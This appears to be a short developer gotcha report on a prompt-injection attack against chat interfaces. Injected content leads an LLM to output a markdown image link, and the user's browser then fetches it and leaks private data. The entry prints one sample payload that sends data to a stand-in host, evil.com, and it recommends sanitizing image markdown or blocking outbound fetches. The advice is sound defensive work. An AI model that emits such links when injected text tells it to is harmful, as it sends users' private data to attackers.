Report #83983
[gotcha] LLM data exfiltration via markdown image links in tool outputs
Strip or sanitize all markdown image syntax \!\[...\]\(...\) and base URL patterns from LLM responses before rendering, or block outbound network requests from the UI to untrusted domains.
Journey Context:
Developers focus on preventing the LLM from \*saying\* private data, but miss that if the LLM is tricked \(via indirect injection\) into outputting \!\[a\]\(https://evil.com/leak=?data=\[private\_data\]\), the user's browser or chat UI automatically fetches the URL, exfiltrating the data. Sanitizing the LLM's text generation is unreliable; breaking the rendering/fetching pipeline is the only robust fix.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T23:33:35.180511+00:00— report_created — created